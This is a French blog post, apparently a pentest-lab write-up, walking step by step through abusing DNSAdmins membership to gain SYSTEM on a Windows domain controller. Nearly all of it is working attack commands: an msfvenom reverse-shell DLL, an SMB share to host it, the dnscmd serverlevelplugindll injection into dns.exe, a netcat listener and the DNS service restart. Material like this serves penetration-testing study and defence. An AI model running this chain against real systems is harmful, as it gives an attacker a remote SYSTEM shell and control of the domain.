From DNS Admin to NT\System

1. Quand pouvons-nous utiliser cette méthode ?

Cette méthode peut être utilisée lorsque nous avons accès à un compte d’utilisateur qui est membre du groupe DNSAdmins ou lorsque le compte d’utilisateur compromis a des privilèges d’écriture sur un objet du serveur DNS. Vous pouvez vérifier si un utilisateur est dans le groupe DNSAdmins en utilisant la commande,

net user /domain
ex : net user /MEGABANK

si la sortie contient des DNSAdmins dans son groupe d’appartenance, alors l’utilisateur appartient au groupe et nous pouvons abuser de son appartenance pour passer aux droits d’administrateur. Dans mon laboratoire pentest, l’utilisateur concerné faisait partie d’un groupe qui était l’alias de DNSAdmins. Donc, peut-être que vous devriez chercher ces détails.

2. Que faisons-nous dans cette méthode ?

Dans cette méthode, nous chargeons une DLL avec des privilèges SYSTEM sur le serveur DNS. C’est-à-dire que nous allons construire une DLL qui contient un reverse tcp et l’injecter dans le processus dns.exe sur le serveur DNS (DC) de la victime.


3. Construire la DLL en utilisant msfvenom :

Lors de la construction d’une charge utile, vous devez prendre en considération l’architecture de la machine cible (X86/x64). Attention, les meterpreter seront bloqué par Windows Defender.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f dll > privesc.dll

4. Hébergement de la charge utile

Une fois que la charge utile est générée, nous devons trouver un moyen d’accéder à la charge utile depuis la machine de la victime. Il existe de nombreuses façons de transférer des fichiers vers Windows depuis Linux, mais dans ce cas, nous utiliserons le serveur smb pour héberger le fichier. Nous avons choisi cette solution car Windows supporte les chemins UNC et les partages samba par défaut dans la plupart des cas.

sudo python3 smbserver.py <shareName> <path/of/share>
ex: sudo python3 smbserver.py shareLocal /home/kali/

Vous pouvez vérifier si le serveur fonctionne en utilisant smbclient :

smbclient -L <Local_IP> --no-pass 
(en supposant que vous n'ayez pas défini de nom d'utilisateur et de mot de passe)
ex: smbclient -L 10.10.10.5 --no-pass

vous pouvez également vérifier si la victime est capable d’accéder au partage en utilisant la commande suivante sur le shell de la victime.

net view \\<Votre_IP>
ex: net view \\10.10.10.5

Comme vous pouvez le constater, l’accès à smb share est très facile en utilisant les chemins UNC. Par exemple, pour accéder à notre privesc.dll, nous pouvons simplement utiliser le chemin UNC suivant : \10.10.10.5\shareLocal\privesc.dll

5. Injection de la DLL dans dns.exe

Nous pouvons utiliser la commande ci-dessous sur power shell pour injecter la charge utile générée

dnscmd.exe <FQDN of DC> /config /serverlevelplugindll <IP>\<SHARENAME>\<DLL>
ex : dnscmd.exe 10.10.10.169 /config /serverlevelplugindll \10.10.14.5\shareLocal\privesc.dll

6. Redémarrage des DNS

Nous pouvons utiliser un auditeur normal comme netcat pour écouter sur le port défini précedement. Si vous n’obtenez pas de connexion, vous pouvez essayer de redémarrer le serveur dns par vous-même. Cela est possible parce que la victime fait partie du groupe DNSAdmins.

Note : la configuration par défaut ne permet pas de redémarrer le serveur.
nc -lvnp 4444

Pour redémarrer le serveur

sc.exe <FQDN of DC> stop dns
sc.exe <FQDN of DC> start dns
ex : sc.exe stop dns

ET voila ! Vous devriez être NT\SYSTEM

C:\>whoami
nt authority\system

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s